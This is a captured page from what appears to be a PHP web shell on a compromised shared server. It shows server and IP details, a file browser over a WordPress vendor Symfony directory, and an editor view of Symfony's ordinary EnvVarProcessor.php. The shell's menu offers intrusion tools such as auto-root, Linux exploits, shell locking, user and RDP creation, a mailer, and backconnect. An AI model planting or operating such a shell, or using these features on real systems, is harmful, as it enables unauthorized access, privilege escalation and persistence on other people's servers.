Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
dependency-injection /
[ HOME SHELL ]
Name
Size
Permission
Action
Argument
[ DIR ]
drwxr-xr-x
Compiler
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Dumper
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Extension
[ DIR ]
drwxr-xr-x
LazyProxy
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
ParameterBag
[ DIR ]
drwxr-xr-x
Tests
[ DIR ]
drwxr-xr-x
Alias.php
1.94
KB
-rw-r--r--
CHANGELOG.md
5.27
KB
-rw-r--r--
ChildDefinition.php
3.27
KB
-rw-r--r--
Container.php
18.99
KB
-rw-r--r--
ContainerAwareInterface.php
590
B
-rw-r--r--
ContainerAwareTrait.php
599
B
-rw-r--r--
ContainerBuilder.php
55.05
KB
-rw-r--r--
ContainerInterface.php
2.84
KB
-rw-r--r--
Definition.php
22.32
KB
-rw-r--r--
DefinitionDecorator.php
955
B
-rw-r--r--
EnvVarProcessor.php
5
KB
-rw-r--r--
EnvVarProcessorInterface.php
1.12
KB
-rw-r--r--
ExpressionLanguage.php
951
B
-rw-r--r--
ExpressionLanguageProvider.php
1.47
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
Parameter.php
703
B
-rw-r--r--
README.md
584
B
-rw-r--r--
Reference.php
1.17
KB
-rw-r--r--
ResettableContainerInterface.p...
967
B
-rw-r--r--
ServiceLocator.php
4.63
KB
-rw-r--r--
ServiceSubscriberInterface.php
1.94
KB
-rw-r--r--
TaggedContainerInterface.php
719
B
-rw-r--r--
TypedReference.php
1.43
KB
-rw-r--r--
Variable.php
713
B
-rw-r--r--
composer.json
1.48
KB
-rw-r--r--
phpunit.xml.dist
897
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : EnvVarProcessor.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DependencyInjection; use Symfony\Component\Config\Util\XmlUtils; use Symfony\Component\DependencyInjection\Exception\EnvNotFoundException; use Symfony\Component\DependencyInjection\Exception\RuntimeException; /** * @author Nicolas Grekas <p@tchwork.com> */ class EnvVarProcessor implements EnvVarProcessorInterface { private $container; public function __construct(ContainerInterface $container) { $this->container = $container; } /** * {@inheritdoc} */ public static function getProvidedTypes() { return [ 'base64' => 'string', 'bool' => 'bool', 'const' => 'bool|int|float|string|array', 'file' => 'string', 'float' => 'float', 'int' => 'int', 'json' => 'array', 'resolve' => 'string', 'string' => 'string', ]; } /** * {@inheritdoc} */ public function getEnv($prefix, $name, \Closure $getEnv) { $i = strpos($name, ':'); if ('file' === $prefix) { if (!is_scalar($file = $getEnv($name))) { throw new RuntimeException(sprintf('Invalid file name: env var "%s" is non-scalar.', $name)); } if (!file_exists($file)) { throw new RuntimeException(sprintf('Env "file:%s" not found: "%s" does not exist.', $name, $file)); } return file_get_contents($file); } if (false !== $i || 'string' !== $prefix) { if (null === $env = $getEnv($name)) { return null; } } elseif (isset($_ENV[$name])) { $env = $_ENV[$name]; } elseif (isset($_SERVER[$name]) && 0 !== strpos($name, 'HTTP_')) { $env = $_SERVER[$name]; } elseif (false === ($env = getenv($name)) || null === $env) { // null is a possible value because of thread safety issues if (!$this->container->hasParameter("env($name)")) { throw new EnvNotFoundException($name); } if (null === $env = $this->container->getParameter("env($name)")) { return null; } } if (!is_scalar($env)) { throw new RuntimeException(sprintf('Non-scalar env var "%s" cannot be cast to "%s".', $name, $prefix)); } if ('string' === $prefix) { return (string) $env; } if ('bool' === $prefix) { return (bool) self::phpize($env); } if ('int' === $prefix) { if (!is_numeric($env = self::phpize($env))) { throw new RuntimeException(sprintf('Non-numeric env var "%s" cannot be cast to int.', $name)); } return (int) $env; } if ('float' === $prefix) { if (!is_numeric($env = self::phpize($env))) { throw new RuntimeException(sprintf('Non-numeric env var "%s" cannot be cast to float.', $name)); } return (float) $env; } if ('const' === $prefix) { if (!\defined($env)) { throw new RuntimeException(sprintf('Env var "%s" maps to undefined constant "%s".', $name, $env)); } return \constant($env); } if ('base64' === $prefix) { return base64_decode($env); } if ('json' === $prefix) { $env = json_decode($env, true); if (\JSON_ERROR_NONE !== json_last_error()) { throw new RuntimeException(sprintf('Invalid JSON in env var "%s": ', $name).json_last_error_msg()); } if (!\is_array($env)) { throw new RuntimeException(sprintf('Invalid JSON env var "%s": array expected, "%s" given.', $name, \gettype($env))); } return $env; } if ('resolve' === $prefix) { return preg_replace_callback('/%%|%([^%\s]+)%/', function ($match) use ($name) { if (!isset($match[1])) { return '%'; } $value = $this->container->getParameter($match[1]); if (!is_scalar($value)) { throw new RuntimeException(sprintf('Parameter "%s" found when resolving env var "%s" must be scalar, "%s" given.', $match[1], $name, \gettype($value))); } return $value; }, $env); } throw new RuntimeException(sprintf('Unsupported env var prefix "%s".', $prefix)); } private static function phpize($value) { if (!class_exists(XmlUtils::class)) { throw new RuntimeException('The Symfony Config component is required to cast env vars to "bool", "int" or "float".'); } return XmlUtils::phpize($value); } }
Close